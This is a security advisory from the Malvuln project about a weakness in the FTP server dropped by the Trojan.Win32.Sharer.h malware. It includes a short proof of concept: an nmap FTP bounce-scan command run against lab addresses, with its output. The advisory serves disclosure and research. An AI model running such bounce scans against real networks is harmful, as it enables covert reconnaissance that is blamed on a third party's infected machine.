Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Sharer.h
Vulnerability: Port Bounce Scan
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types of services one is an FTP server named "20CN MINIFTP" TCP port 21. Third-party adversaries can abuse the server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you. The FTP server default configuration is username "anonymous" and no password, any password will allow logon. Running this malware you may get missing "picclp32.ocx" error just run it again and it should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0159
Dropped files: FtpServer.exe
Disclosure: 04/03/2021

Exploit/PoC:
nmap -n -Pn -b anonymous:malvuln@192.168.88.128 192.168.88.131 -p22,80  -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-01 20:56 Pacific Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).
Attempting connection to ftp://anonymous:malvuln@192.168.88.128:21
Connected:220 
Login credentials accepted by FTP server!
Initiating Bounce Scan at 20:56
Discovered open port 80/tcp on 192.168.88.131
Completed Bounce Scan at 20:56, 1.05s elapsed (2 total ports)
Nmap scan report for 192.168.88.131
Host is up.

PORT   STATE  SERVICE
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 10.22 seconds


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